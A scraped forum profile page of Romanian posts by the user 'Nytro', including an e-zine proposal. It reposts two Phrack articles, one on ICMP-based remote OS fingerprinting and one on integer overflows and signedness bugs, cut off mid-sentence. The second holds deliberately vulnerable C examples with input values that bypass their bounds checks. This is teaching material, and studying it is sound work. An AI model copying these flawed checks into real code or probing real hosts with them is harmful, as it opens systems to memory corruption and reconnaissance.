-
Posts
18711 -
Joined
-
Last visited
-
Days Won
701
Everything posted by Nytro
-
Totul se va discuta in acea sectiune daca vom pune in practica. Si formatul si organizarea in pagina, tot. Fiecare "scriitor" va putea sa isi spuna parerea in legatura cu articolele scrise de alte persoane. Edit: Avem categoria, pentru a primi acces vreau sa imi spuneti ce articol vreti sa scrieti si care va fi structura sa, cate ceva despre el. Cred ca mai bine discutam asta pe PM, ca sa le oferim celorlalti o surpriza. Discutia mai e tratata in mod serios si aici: Programare.org :: Vizualizare subiect - E-zine Astept sugestiile voastre de articole pe PM. Noutati mai sus. PS: Puteti da Add la: ro_ezine, sa discutam pe messenger. Pe celalalt ID intru mai rar.
-
Full-featured Yahoo client for LINUX with voice chat and webcam support
Nytro replied to pyth0n3's topic in Programe utile
Da, e dragut, habar nu aveam ca il am instalat pe Mandriva, thanks. Trebuie sa te obisnuiesti cu el, si cu ce are in plus, si cu ce nu are... Insa mie imi place mai mult Pidgin. -
Nu mi-a placut niciodata matematica. Dar daca eram atent la ore si nu faceam proiecte pentru tot felul de programele sau structura bazei de date pentru proiecte PHP intelegeam foarte bine. Nu e grea.
-
Daca ai terminat anul asta si ai luat bacul ai noroc, sunt 35% picati, deci ai mai multe sanse sa intrii oriunde ai dat. Eu am avut de la o colega o brosura cu facultatile din tara si de acolo m-am inspirat la inceput. Apoi am cautat pe Google tot felul de informatii in functie de ceea ce imi place. PS: Invata matematica, si poate si fizica.
-
Nu va avea nimeni acces la acea sectiune pana nu va incepe concret articolul, pana nu e gata structura articolului. Si de asemenea, daca nu e de calitate, si e un lucru banal, articolul nu va aparea in revista. Momentan vreau sa vad cati ar fi interesati si chiar ar face ceva, nu doar sa dea din gura. O sa caut si pe alte forumuri, sa vad daca mai gasesc. Tot ce va fi in revista va fi scris de un roman. Asta e singura cerinta, pe langa calitate.
-
Documentatie exista, dar sunt putini care o folosesc. Deci s-ar gasi vreo 2-3... Sa vedem cati se strang care sa poata scrie cate ceva. Ar trebui cam 8-9 persoane.
-
ATM ofera locuri pentru mai multe institutii. Eu dau pentru STS si MApN. La STS nu cred ca ar fi deloc rau...
-
Nu cred ca exista fara matematica. A, auzisem de "Facultatea de Web Design"? Nu stiu nimic, asta mi-a spus o colega.
-
Ce parere aveti daca am face o astfel de revista? Ideea de baza e simpla: Nu facem una pe luna, sau la un anumit interval de timp, scoatem una, apoi alta la momentul potrivit. Temele vor fi desigur din domeniul IT, dar nu jocuri si alte prostii ci hacking, securitate, programare... Surse de inspiratie: Index of /phrack http://www.exploit-db.com/download_pdf/13877 Astea mi-au placut mie, in special cea in franceza. Articole va putea scrie oricine, atat timp cat articolul este de calitate, si nu este vorba de o prostie cum ar fi: "Cum sa redenumesti Recycle Bin", sau alte prostioare ce se fac cu 2 click-uri. De asemenea, eu as fi impotriva articolelor despre folosirea anumitor programe, orice fel de programe, sau folosirea diverselor aplicatii pentru a face un anumit lucru. Asta indeamna la script-kiddism. Un lucru foarte important: eu vreau ca revista sa fie in limba romana. Daca vom pune in practica aceasta idee, vom vota si poate vom face in engleza. Sau de ce nu in ambele limbi? Exemple de articole puteti vedea in cele de mai sus, sau in altele. Se poate scrie despre: - Web: SQLI, XSS... Dar nu tampenii pe care le stie toata lumea, ci lucruri noi sau orice interesant - Structura ELF/PE (C++, VB): Lucrul cu procese, thread-uri, Process injection, API hooking, lucrul cu IAT/EAT etc. - Networking: Orice, de la ICMP pana la simple conxiuni prin pachete TCP: SYN, ACK, sau diverse protocoale de nivel mai inalt in stiva TCP/IP: HTTP, SMTP, POP3... - Linux: Lucruri noi legate de Linux, despre kernel, despre compilare, despre module, chiar si despre binutils, nu despre KDE sau cum sa folosesti un programel GUI. - Programare: Orice script/program util, frumos explicat. Limbajul nu conteaza: C++, VB, Perl, Python, shell scripting... Sa faca un lucru util. - Exploituri: de la SQLI la Remote BOF sau localroot. Daca ati fi de acord, se va face o sectiune in care se va discuta fiecare articol. La acea sectiune vor avea acces numai cei care vor scrie ceva pentru revista. A, nu cititi un articol scris de altcineva, apoi scrieti voi altul, care prezinta exact aceleasi lucruri. Dar problema e clasica: Cine s-ar baga sa scrie cate un articol? Un articol poate fi scris si de mai multe persoane, dar nu cred ca s-ar gasi prea multi. Inca o data, articolul sa fie de calitate, nu ceva banal "Cum sa stingi calculatorul". Nou Seciunea e gata. Cine vrea si poate sa scrie un articol sa imi trimita un PM sa discutam despre ce vrea sa contina acel articol. Astept PM-uri deoarece, desi articolele nu sunt incepute, as vrea sa va ganditi la o idee, si o mica structura pentru articol, cam ce sa acopere, vom putea astfel discuta cu totii despre acel subiect si cel care vine cu ideea de articol va primi acces in zona respectiva.
-
!_30: Acolo, la ATM unde vreau eu, am mancare si cazare gratuita, si cand termin, voi fi (sub)locotenent + inginer, voi avea serviciu stabil si salariu bun. In plus sunt multe sporuri la armata, cum ar fi cele pentru cazare si altele. Ontopic: Daca picai la romana, bun, nu prea te ducea capul. Dar sa pice cineva la matematica, mai ales M1 e ceva perfect normal, au fost nasoale rau subiectele.
-
"others are just Python bindings for existing C libraries" Hmm, poate o sa arunc si eu un ochi pe acest limbaj.
-
Si daca e vorba de alte fisiere, arhive sau altceva folosesti un host free: speedyshare, 2shared si multe altele iti stau la dispozitie. + www.multiupload.com
-
==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x07 of 0x12 |=---=[ ICMP based remote OS TCP/IP stack fingerprinting techniques ]=---=| |=-----------------------------------------------------------------------=| |=---------------=[ Ofir Arkin & Fyodor Yarochkin ]=---------------------=| --[ICMP based fingerprinting approach]-- TCP based remote OS fingerprinting is quite old(*1) and well-known these days, here we would like to introduce an alternative method to determine an OS remotely based on ICMP responses which are received from the host. Certain accuracy level has been achieved with different platforms, which, with some systems or or classes of platforms (i.g. Win*), is significally more precise than demonstrated with TCP based fingerprinting methods. As mentioned above TCP based method, ICMP fingerprinting utilizes several tests to perform remote OS TCP/IP stack probe, but unlike TCP fingerprinting, a number of tests required to identify an OS could vary from 1 to 4 (as of current development stage). ICMP fingerprinting method is based on certain discoveries on differencies of ICMP replies from various operating systems (mostly due to incorrect, or inconsistant implementation), which were found by Ofir Arkin during his "ICMP Usage in Scanning" research project. Later these discoveries were summarised into a logical desicions tree which Ofir entitled "X project" and practically implemented in 'Xprobe' tool. --[Information/Noise ratio with ICMP fingerprints]-- As it's been noted, the number of datagrams we need to send and receive in order to remotely fingerprint a targeted machine with ICMP based probes is small. Very small. In fact we can send one datagram and receive one reply and this will help us identify up to eight different operating systems (or classes of operating systems). The maximum datagrams which our tool will use at the current stage of development, is four. This is the same number of replies we will need to analyse. This makes ICMP based fingerprinting very time-efficient. ICMP based probes could be crafted to be very stealthy. As on the moment, no maliformed/broken/corrupted datagrams are used to identify remote OS type, unlike the common fingerprinting methods. Current core analysis targets validation of received ICMP responses on valid packets, rather than crafting invalid packets themselves. Heaps of such packets appear in an average network on daily basis and very few IDS systems are tuned to detect such traffic (and those which are, presumably are very noisy and badly configured). --[Why it still works?]-- Inheritable mess among various TCP/IP stack implementations with ICMP handling implementations which implement different RFC standards (original RFC 792, additional RFC 1122, etc), partial or incomplete ICMP support (various ICMP requests are not supported everywhere), low significance of ICMP Error messages data (who verifies all the fields of the original datagram?!), mistakes and misunderstanding in ICMP protocol implementation made our method viable. --[What do we fingerprint:]-- Several OS-specific differencies are being utilized in ICMP based fingerprinting to identify remote operating system type: IP fields of an 'offending' datagram to be examined: * IP total length field Some operating systems (i.g. BSD family) will add 20 bytes (sizeof(ipheader)) to the original IP total length field (which occures due to internal processing mistakes of the datagram, please note when the same packet is read from SOCK_RAW the same behaviour is seen: returned packet ip_len fiend is off by 20 bytes). Some other operating systems will decrease 20 bytes from the original IP total lenth field value of the offending packet. Third group of systems will echo this field correctly. * IP ID some systems are seen not to echo this field correctly. (bit order of the field is changed). * 3 bits flags and offset some systems are seen not to echo this field correctly. (bit order of the field is changed). * IP header checksum Some operating systems will miscalculate this field, others just zero it out. Third group of the systems echoes this field correctly. * UDP header checksum (in case of UDP datagram) The same thing could happen with UDP checksum header. IP headers of responded ICMP packet: * Precedence bits Each IP Datagram has an 8-bit field called the 'TOS Byte', which represents the IP support for prioritization and Type-of-Service handling. The 'TOS Byte' consists of three fields. The 'Precedence field'\cite{rfc791}, which is 3-bit long, is intended to prioritize the IP Datagram. It has eight levels of prioritization. Higher priority traffic should be sent before lower priority traffic. The second field, 4 bits long, is the 'Type-of-Service' field. It is intended to describe how the network should make tradeoffs between throughput, delay, reliability, and cost in routing an IP Datagram. The last field, the 'MBZ' (must be zero), is unused and must be zero. Routers and hosts ignore this last field. This field is 1 bit long. The TOS Bits and MBZ fields are being replaced by the DiffServ mechanism for QoS. RFC 1812 Requires following for IP Version 4 Routers: "4.3.2.5 TOS and Precedence ICMP Source Quench error messages, if sent at all, MUST have their IP Precedence field set to the same value as the IP Precedence field in the packet that provoked the sending of the ICMP Source Quench message. All other ICMP error messages (Destination Unreachable, Redirect, Time Exceeded, and Parameter Problem) SHOULD have their precedence value set to 6 (INTERNETWORK CONTROL) or 7 (NETWORK CONTROL). The IP Precedence value for these error messages MAY be settable". Linux Kernel 2.0.x, 2.2.x, 2.4.x will act as routers and will set their Precedence bits field value to 0xc0 with ICMP error messages. Networking devices that will act the same will be Cisco routers based on IOS 11.x-12.x and Foundry Networks switches. * DF bits echoing Some TCP/IP stacks will echo DF bit with ICMP Error datagrams, others (like linux) will copy the whole octet completely, zeroing certain bits, others will ignore this field and set their own. * IP ID filend (linux 2.4.0 - 2.4.4 kernels) Linux machines based on Kernel 2.4.0-2.4.4 will set the IP Identification field value with their ICMP query request and reply messages to a value of zero. This was later fixed with Linux Kernels 2.4.5 and up. * IP ttl field (ttl distance to the target has to be precalculated to guarantee accuracy). "The sender sets the time to live field to a value that represents the maximum time the datagram is allowed to travel on the Internet". The field value is decreased at each point that the IP header is being processed. RFC 791 states that this field decreasement reflects the time spent processing the datagram. The field value is measured in units of seconds. The RFC also states that the maximum time to live value can be set to 255 seconds, which equals to 4.25 minutes. The datagram must be discarded if this field value equals zero - before reaching its destination. Relating to this field as a measure to assess time is a bit misleading. Some routers may process the datagram faster than a second, and some may process the datagram longer than a second. The real intention is to have an upper bound to the datagram lifetime, so infinite loops of undelivered datagrams will not jam the Internet. Having a bound to the datagram lifetime help us to prevent old duplicates to arrive after a certain time elapsed. So when we retransmit a piece of information which was not previously delivered we can be assured that the older duplicate is already discarded and will not interfere with the process. The IP TTL field value with ICMP has two separate values, one for ICMP query messages and one for ICMP query replies. The IP TTL field value helps us identify certain operating systems and groups of operating systems. It also provides us with the simplest means to add another check criterion when we are querying other host(s) or listening to traffic (sniffing). TTL-based fingeprinting requires a TTL distance to the done to be precalculated in advance (unless a fingerprinting of a local network based system is performed system). The ICMP Error messages will use values used by ICMP query request messages. A good statistics of ttl dependancy on OS type has been gathered at: http://www.switch.ch/docs/ttl_default.html (Research paper on default ttl values) * TOS field RFC 1349 defines the usage of the Type-of-Service field with the ICMP messages. It distinguishes between ICMP error messages (Destination Unreachable, Source Quench, Redirect, Time Exceeded, and Parameter Problem), ICMP query messages (Echo, Router Solicitation, Timestamp, Information request, Address Mask request) and ICMP reply messages (Echo reply, Router Advertisement, Timestamp reply, Information reply, Address Mask reply). Simple rules are defined: * An ICMP error message is always sent with the default TOS (0x0000) * An ICMP request message may be sent with any value in the TOS field. "A mechanism to allow the user to specify the TOS value to be used would be a useful feature in many applications that generate ICMP request messages". The RFC further specify that although ICMP request messages are normally sent with the default TOS, there are sometimes good reasons why they would be sent with some other TOS value. * An ICMP reply message is sent with the same value in the TOS field as was used in the corresponding ICMP request message. Some operating systems will ignore RFC 1349 when sending ICMP echo reply messages, and will not send the same value in the TOS field as was used in the corresponding ICMP request message. ICMP headers of responded ICMP packet: * ICMP Error Message Quoting Size: All ICMP error messages consist of an IP header, an ICMP header and certain amount of data of the original datagram, which triggered the error (aka offending datagram). According to RFC 792 only 64 bits (8 octets) of original datagram are supposed to be included in the ICMP error message. However RFC 1122 (issued later) recommends up to 576 octets to be quoted. Most of "older" TCP stack implementations will include 8 octets into ICMP Errror message. Linux/HPUX 11.x, Solaris, MacOS and others will include more. Noticiably interesting is the fact that Solaris engineers probably couldn't not read RFC properly (since instead of 64 bits Solaris 2.x includes 64 octets (512 bits) of the original datagram. * ICMP error Message echoing integrity Another artifact which has been noticed is that some stack implementations, when sending back an ICMP error message, may alter the offending packet's IP header and the underlying protocol data, which is echoed back with the ICMP error message. Since mistakes, made by TCP/IP stack programmers are different and specific to an operating system, an analysis of these mistakes could give a potential attacker a a possibilty to make assumptions about the target operating system type. Additional tweaks and twists: * Using difererent from zero code fields in ICMP echo requests When an ICMP code field value different than zero (0) is sent with an ICMP Echo request message (type 8), operating systems that will answer our query with an ICMP Echo reply message that are based on one of the Microsoft based operating systems will send back an ICMP code field value of zero with their ICMP Echo Reply. Other operating systems (and networking devices) will echo back the ICMP code field value we were using with the ICMP Echo Request. The Microsoft based operating systems acts in contrast to RFC 792 guidelines which instruct the answering operating systems to only change the ICMP type to Echo reply (type 0), recalculate the checksums and send the ICMP Echo reply away. * Using DF bit echoing with ICMP query messages As in case of ICMP Error messages, some tcp stacks will respond these queries, while the others: will not. * Other ICMP messages: * ICMP timestamp request * ICMP Information request * ICMP Address mask request Some TCP/IP stacks support these messages and respond to some of these requests. --[Xprobe implementation]-- Currently Xprobe deploys hardcoded logic tree, developed by Ofir Arkin in 'Project X'. Initially a UDP datagram is being sent to a closed port in order to trigger ICMP Error message: ICMP unreachable/port unreach. (this sets up a limitation of having at least one port not filtered on target system with no service running, generically speaking other methods of triggering ICMP unreach packet could be used, this will be discussed further). Moreover, a few tests (icmp unreach content, DF bits, TOS ...) could be combined within a single query, since they do not affect results of each other. Upon the receipt of ICMP unreachable datagram, contents of the received datagram is examined and a diagnostics decision is made, if any further tests are required, according to the logic tree, further queries are sent. --[ Logic tree]--- Quickly recapping the logic tree organization: Initially all TCP/IP stack implementations are split into 2 groups, those which echo precedence bits back, and those which do not. Those which do echo precendence bits (linux 2.0.x, 2.2.x, 2.4.x, cisco IOS 11.x-12.x, Extreme Network Switches etc), being differentiated further based on ICMP error quoting size. (Linux sticks with RFC 1122 here and echoes up to 576 octets, while others in this subgroup echo only 64 bits (8 octets)). Further echo integrity checks are used to differentiate cisco routers from Extreme Network switches. Time-to-live and IP ID fields of ICMP echo reply are being used to recognize version of linux kernel. The same approach is being used to recognize other TCP/IP stacks. Data echoing validation (amounts of octets of original datagram echoed, checksum validation, etc). If additional information is needed to differ two 'similar' IP stacks, additional query is being sent. (please refer to the diagram at http://www.sys-security.com/html/projects/X.html for more detailed explanation/graphical representation of the logic tree). One of the serious problems with the logic tree, is that adding new operating system types to it becomes extremely painful. At times part of the whole logic tree has to be reworked to 'fit' a single description. Therefore a singature based fingerprinting method took our closer attention. --[Sinature based approach]-- Singature based approach is what we are currently focusing on and which we believe will be further, more stable, reliable and flexible method of remote ICMP based fingerprints. Signature-based method is currently based on five different tests, which optionally could be included in each operating system fingerprint. Initally the systems with lesser amount of tests are being examined (normally starting with ICMP unreach test). If no single OS stack found matching received signature, those stacks which match a part, being grouped again, and another test (based on lesser amounts of tests issued principle) is choosen and executed. This verification is repeated until an OS stack, completely matching the signature is found, or we run out of tests. Currently following tests are being deployed: * ICMP unreachable test (udp closed port based, host unreachable, network unreachable (for systems which are believed to be gateways) * ICMP echo request/reply test * ICMP timestamp request * ICMP information request * ICMP address mask request --[future implementations/development]-- Following issues are planned to be deployed (we always welcome discussions/suggestions though): * Fingerprints database (currently being tested) * Dynamic, AI based logic (long-term project * Tests would heavily dependent on network topology (pre-test network mapping will take place). * Path-to-target test (to calculate hops distance to the target) filtering devices probes. * Future implementations will be using packets with actual application data to dismiss chances of being detected. * other network mapping capabilities shall be included ( network role identification, search for closed UDP port, reachability tests, etc). --[code for kids]-- Currently implemented code and further documentation is available at following locations: http://www.sys-security.com/html/projects/X.html http://xprobe.sourceforge.net http://www.notlsd.net/xprobe/ Ofir Arkin <ofir@sys-security.com> Fyodor Yarochkin <fygrave@tigerteam.net> |=[ EOF ]=---------------------------------------------------------------=|
-
==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x0a of 0x10 |=--------------------=[ Basic Integer Overflows ]=----------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ by blexim <blexim@hush.com> ]=-------------------=| 1: Introduction 1.1 What is an integer? 1.2 What is an integer overflow? 1.3 Why can they be dangerous? 2: Integer overflows 2.1 Widthness overflows 2.1.1 Exploiting 2.2 Arithmetic overflows 2.2.1 Exploiting 3: Signedness bugs 3.1 What do they look like? 3.1.1 Exploiting 3.2 Signedness bugs caused by integer overflows 4: Real world examples 4.1 Integer overflows 4.2 Signedness bugs --[ 1.0 Introduction In this paper I'm going to describe two classes of programming bugs which can sometimes allow a malicious user to modify the execution path of an affected process. Both of these classes of bug work by causing variables to contain unexpected values, and so are not as "direct" as classes which overwrite memory, e.g. buffer overflows or format strings. All the examples given in the paper are in C, so a basic familiarity with C is assumed. A knowledge of how integers are stored in memory is also useful, but not essential. ----[ 1.1 What is an integer? An integer, in the context of computing, is a variable capable of representing a real number with no fractional part. Integers are typically the same size as a pointer on the system they are compiled on (i.e. on a 32 bit system, such as i386, an integer is 32 bits long, on a 64 bit system, such as SPARC, an integer is 64 bits long). Some compilers don't use integers and pointers of the same size however, so for the sake of simplicity all the examples refer to a 32 bit system with 32 bit integers, longs and pointers. Integers, like all variables are just regions of memory. When we talk about integers, we usually represent them in decimal, as that is the numbering system humans are most used to. Computers, being digital, cannot deal with decimal, so internally to the computer integers are stored in binary. Binary is another system of representing numbers which uses only two numerals, 1 and 0, as opposed to the ten numerals used in decimal. As well as binary and decimal, hexadecimal (base sixteen) is often used in computing as it is very easy to convert between binary and hexadecimal. Since it is often necessary to store negative numbers, there needs to be a mechanism to represent negative numbers using only binary. The way this is accomplished is by using the most significant bit (MSB) of a variable to determine the sign: if the MSB is set to 1, the variable is interpreted as negative; if it is set to 0, the variable is positive. This can cause some confusion, as will be explained in the section on signedness bugs, because not all variables are signed, meaning they do not all use the MSB to determine whether they are positive or negative. These variable are known as unsigned and can only be assigned positive values, whereas variables which can be either positive or negative are called unsigned. ----[ 1.2 What is an integer overflow? Since an integer is a fixed size (32 bits for the purposes of this paper), there is a fixed maximum value it can store. When an attempt is made to store a value greater than this maximum value it is known as an integer overflow. The ISO C99 standard says that an integer overflow causes "undefined behaviour", meaning that compilers conforming to the standard may do anything they like from completely ignoring the overflow to aborting the program. Most compilers seem to ignore the overflow, resulting in an unexpected or erroneous result being stored. ----[ 1.3 Why can they be dangerous? Integer overflows cannot be detected after they have happened, so there is not way for an application to tell if a result it has calculated previously is in fact correct. This can get dangerous if the calculation has to do with the size of a buffer or how far into an array to index. Of course most integer overflows are not exploitable because memory is not being directly overwritten, but sometimes they can lead to other classes of bugs, frequently buffer overflows. As well as this, integer overflows can be difficult to spot, so even well audited code can spring surprises. --[ 2.0 Integer overflows So what happens when an integer overflow does happen? ISO C99 has this to say: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo the number that is one greater than the largest value that can be represented by the resulting type." NB: modulo arithmetic involves dividing two numbers and taking the remainder, e.g. 10 modulo 5 = 0 11 modulo 5 = 1 so reducing a large value modulo (MAXINT + 1) can be seen as discarding the portion of the value which cannot fit into an integer and keeping the rest. In C, the modulo operator is a % sign. </NB> This is a bit wordy, so maybe an example will better demonstrate the typical "undefined behaviour": We have two unsigned integers, a and b, both of which are 32 bits long. We assign to a the maximum value a 32 bit integer can hold, and to b we assign 1. We add a and b together and store the result in a third unsigned 32 bit integer called r: a = 0xffffffff b = 0x1 r = a + b Now, since the result of the addition cannot be represented using 32 bits, the result, in accordance with the ISO standard, is reduced modulo 0x100000000. r = (0xffffffff + 0x1) % 0x100000000 r = (0x100000000) % 0x100000000 = 0 Reducing the result using modulo arithmetic basically ensures that only the lowest 32 bits of the result are used, so integer overflows cause the result to be truncated to a size that can be represented by the variable. This is often called a "wrap around", as the result appears to wrap around to 0. ----[ 2.1 Widthness overflows So an integer overflow is the result of attempting to store a value in a variable which is too small to hold it. The simplest example of this can be demonstrated by simply assigning the contents of large variable to a smaller one: /* ex1.c - loss of precision */ #include <stdio.h> int main(void){ int l; short s; char c; l = 0xdeadbeef; s = l; c = l; printf("l = 0x%x (%d bits)\n", l, sizeof(l) * 8); printf("s = 0x%x (%d bits)\n", s, sizeof(s) * 8); printf("c = 0x%x (%d bits)\n", c, sizeof(c) * 8); return 0; } /* EOF */ The output of which looks like this: nova:signed {48} ./ex1 l = 0xdeadbeef (32 bits) s = 0xffffbeef (16 bits) c = 0xffffffef (8 bits) Since each assignment causes the bounds of the values that can be stored in each type to be exceeded, the value is truncated so that it can fit in the variable it is assigned to. It is worth mentioning integer promotion here. When a calculation involving operands of different sizes is performed, the smaller operand is "promoted" to the size of the larger one. The calculation is then performed with these promoted sizes and, if the result is to be stored in the smaller variable, the result is truncated to the smaller size again. For example: int i; short s; s = i; A calculation is being performed with different sized operands here. What happens is that the variable s is promoted to an int (32 bits long), then the contents of i is copied into the new promoted s. After this, the contents of the promoted variable are "demoted" back to 16 bits in order to be saved in s. This demotion can cause the result to be truncated if it is greater than the maximum value s can hold. ------[ 2.1.1 Exploiting Integer overflows are not like most common bug classes. They do not allow direct overwriting of memory or direct execution flow control, but are much more subtle. The root of the problem lies in the fact that there is no way for a process to check the result of a computation after it has happened, so there may be a discrepancy between the stored result and the correct result. Because of this, most integer overflows are not actually exploitable. Even so, in certain cases it is possible to force a crucial variable to contain an erroneous value, and this can lead to problems later in the code. Because of the subtlety of these bugs, there is a huge number of situations in which they can be exploited, so I will not attempt to cover all exploitable conditions. Instead, I will provide examples of some situations which are exploitable, in the hope of inspiring the reader in their own research Example 1: /* width1.c - exploiting a trivial widthness bug */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]){ unsigned short s; int i; char buf[80]; if(argc < 3){ return -1; } i = atoi(argv[1]); s = i; if(s >= 80){ /* [w1] */ printf("Oh no you don't!\n"); return -1; } printf("s = %d\n", s); memcpy(buf, argv[2], i); buf[i] = '\0'; printf("%s\n", buf); return 0; } While a construct like this would probably never show up in real life code, it serves well as an example. Take a look at the following inputs: nova:signed {100} ./width1 5 hello s = 5 hello nova:signed {101} ./width1 80 hello Oh no you don't! nova:signed {102} ./width1 65536 hello s = 0 Segmentation fault (core dumped) The length argument is taken from the command line and held in the integer i. When this value is transferred into the short integer s, it is truncated if the value is too great to fit into s (i.e. if the value is greater than 65535). Because of this, it is possible to bypass the bounds check at [w1] and overflow the buffer. After this, standard stack smashing techniques can be used to exploit the process. ----[ 2.2 Arithmetic overflows As shown in section 2.0, if an attempt is made to store a value in an integer which is greater than the maximum value the integer can hold, the value will be truncated. If the stored value is the result of an arithmetic operation, any part of the program which later uses the result will run incorrectly as the result of the arithmetic being incorrect. Consider this example demonstrating the wrap around shown earlier: /* ex2.c - an integer overflow */ #include <stdio.h> int main(void){ unsigned int num = 0xffffffff; printf("num is %d bits long\n", sizeof(num) * 8); printf("num = 0x%x\n", num); printf("num + 1 = 0x%x\n", num + 1); return 0; } /* EOF */ The output of this program looks like this: nova:signed {4} ./ex2 num is 32 bits long num = 0xffffffff num + 1 = 0x0 Note: The astute reader will have noticed that 0xffffffff is decimal -1, so it appears that we're just doing 1 + (-1) = 0 Whilst this is one way at looking at what's going on, it may cause some confusion since the variable num is unsigned and therefore all arithmetic done on it will be unsigned. As it happens, a lot of signed arithmetic depends on integer overflows, as the following demonstrates (assume both operands are 32 bit variables): -700 + 800 = 100 0xfffffd44 + 0x320 = 0x100000064 Since the result of the addition exceeds the range of the variable, the lowest 32 bits are used as the result. These low 32 bits are 0x64, which is equal to decimal 100. </note> Since an integer is signed by default, an integer overflow can cause a change in signedness which can often have interesting effects on subsequent code. Consider the following example: /* ex3.c - change of signedness */ #include <stdio.h> int main(void){ int l; l = 0x7fffffff; printf("l = %d (0x%x)\n", l, l); printf("l + 1 = %d (0x%x)\n", l + 1 , l + 1); return 0; } /* EOF */ The output of which is: nova:signed {38} ./ex3 l = 2147483647 (0x7fffffff) l + 1 = -2147483648 (0x80000000) Here the integer is initialised with the highest positive value a signed long integer can hold. When it is incremented, the most significant bit (indicating signedness) is set and the integer is interpreted as being negative. Addition is not the only arithmetic operation which can cause an integer to overflow. Almost any operation which changes the value of a variable can cause an overflow, as demonstrated in the following example: /* ex4.c - various arithmetic overflows */ #include <stdio.h> int main(void){ int l, x; l = 0x40000000; printf("l = %d (0x%x)\n", l, l); x = l + 0xc0000000; printf("l + 0xc0000000 = %d (0x%x)\n", x, x); x = l * 0x4; printf("l * 0x4 = %d (0x%x)\n", x, x); x = l - 0xffffffff; printf("l - 0xffffffff = %d (0x%x)\n", x, x); return 0; } /* EOF */ Output: nova:signed {55} ./ex4 l = 1073741824 (0x40000000) l + 0xc0000000 = 0 (0x0) l * 0x4 = 0 (0x0) l - 0xffffffff = 1073741825 (0x40000001) The addition is causing an overflow in exactly the same way as the first example, and so is the multiplication, although it may seem different. In both cases the result of the arithmetic is too great to fit in an integer, so it is reduced as described above. The subtraction is slightly different, as it is causing an underflow rather than an overflow: an attempt is made to store a value lower than the minimum value the integer can hold, causing a wrap around. In this way we are able to force an addition to subtract, a multiplication to divide or a subtraction to add. ------[ 2.2.1 Exploiting One of the most common ways arithmetic overflows can be exploited is when a calculation is made about how large a buffer must be allocated. Often a program must allocate space for an array of objects, so it uses the malloc(3) or calloc(3) routines to reserve the space and calculates how much space is needed by multiplying the number of elements by the size of an object. As has been previously shown, if we are able to control either of these operands (number of elements or object size) we may be able to mis-size the buffer, as the following code fragment shows: int myfunction(int *array, int len){ int *myarray, i; myarray = malloc(len * sizeof(int)); /* [1] */ if(myarray == NULL){ return -1; } for(i = 0; i < len; i++){ /* [2] */ myarray[i] = array[i]; } return myarray; } This seemingly innocent function could bring about the downfall of a system due to its lack of checking of the len parameter. The multiplication at [1] can be made to overflow by supplying a high enough value for len, so we can force the buffer to be any length we choose. By choosing a suitable value for len, we can cause the loop at [2] to write past the end of the myarray buffer, resulting in a heap overflow. This could be leveraged into executing arbitrary code on certain implementations by overwriting malloc control structures, but that is beyond the scope of this article. Another example: int catvars(char *buf1, char *buf2, unsigned int len1, unsigned int len2){ char mybuf[256]; if((len1 + len2) > 256){ /* [3] */ return -1; } memcpy(mybuf, buf1, len1); /* [4] */ memcpy(mybuf + len1, buf2, len2); do_some_stuff(mybuf); return 0; } In this example, the check at [3] can be bypassed by using suitable values for len1 and len2 that will cause the addition to overflow and wrap around to a low number. For example, the following values: len1 = 0x104 len2 = 0xfffffffc when added together would result in a wrap around with a result of 0x100 (decimal 256). This would pass the check at [3], then the memcpy(3)'s at [4] would copy data well past the end of the buffer. --[ 3 Signedness Bugs Signedness bugs occur when an unsigned variable is interpreted as signed, or when a signed variable is interpreted as unsigned. This type of behaviour can happen because internally to the computer, there is no distinction between the way signed and unsigned variables are stored. Recently, several signedness bugs showed up in the FreeBSD and OpenBSD kernels, so there are many examples readily available. ----[ 3.1 What do they look like? Signedness bugs can take a variety of forms, but some of the things to look out for are: * signed integers being used in comparisons * signed integers being used in arithmetic * unsigned integers being compared to signed integers Here is classic example of a signedness bug: int copy_something(char *buf, int len){ char kbuf[800]; if(len > sizeof(kbuf)){ /* [1] */ return -1; } return memcpy(kbuf, buf, len); /* [2] */ } The problem here is that memcpy takes an unsigned int as the len parameter, but the bounds check performed before the memcpy is done using signed integers. By passing a negative value for len, it is possible to pass the check at [1], but then in the call to memcpy at [2], len will be interpeted as a huge unsigned value, causing memory to be overwritten well past the end of the buffer kbuf. Another problem that can stem from signed/unsigned confusion occurs when arithmetic is performed. Consider the following example: int table[800]; int insert_in_table(int val, int pos){ if(pos > sizeof(table) / sizeof(int)){ return -1; } table[pos] = val; return 0; } Since the line table[pos] = val; is equivalent to *(table + (pos * sizeof(int))) = val; we can see that the problem here is that the code does not expect a negative operand for the addition: it expects (table + pos) to be greater than table, so providing a negative value for pos causes a situation which the program does not expect and can therefore not deal with. ------[ 3.1.1 Exploiting This class of bug can be problematic to exploit, due to the fact that signed integers, when interpreted as unsigned, tend to be huge. For example, -1 when represented in hexadecimal is 0xffffffff. When interpreted as unsiged, this becomes the greatest value it is possible to represent in an integer (4,294,967,295), so if this value is passed to mempcpy as the len parameter (for example), memcpy will attempt to copy 4GB of data to the destination buffer. Obviously this is likely to cause a segfault or, if not, to trash a large amount of the stack or heap. Sometimes it is possible to get around this problem by passing a very low value for the source address and hope, but this is not always possible. ----[ 3.2 Signedness bugs caused by integer overflows Sometimes, it is possible to overflow an integer so that it wraps around to a negative number. Since the application is unlikely to expect such a value, it may be possible to trigger a signedness bug as described above. An example of this type of bug could look like this: int get_two_vars(int sock, char *out, int len){ char buf1[512], buf2[512]; unsigned int size1, size2; int size; if(recv(sock, buf1, sizeof(buf1), 0) < 0){ return -1; } if(recv(sock, buf2, sizeof(buf2), 0) < 0){ return -1; } /* packet begins with length information */ memcpy(&size1, buf1, sizeof(int)); memcpy(&size2, buf2, sizeof(int)); size = size1 + size2; /* [1] */ if(size > len){ /* [2] */ return -1; } memcpy(out, buf1, size1); memcpy(out + size1, buf2, size2); return size; } This example shows what can sometimes happen in network daemons, especially when length information is passed as part of the packet (in other words, it is supplied by an untrusted user). The addition at [1], used to check that the data does not exceed the bounds of the output buffer, can be abused by setting size1 and size2 to values that will cause the size variable to wrap around to a negative value. Example values could be: size1 = 0x7fffffff size2 = 0x7fffffff (0x7fffffff + 0x7fffffff = 0xfffffffe (-2)). When this happens, the bounds check at [2] passes, and a lot more of the out buffer can be written to than was intended (in fact, arbitrary memory can be written to, as 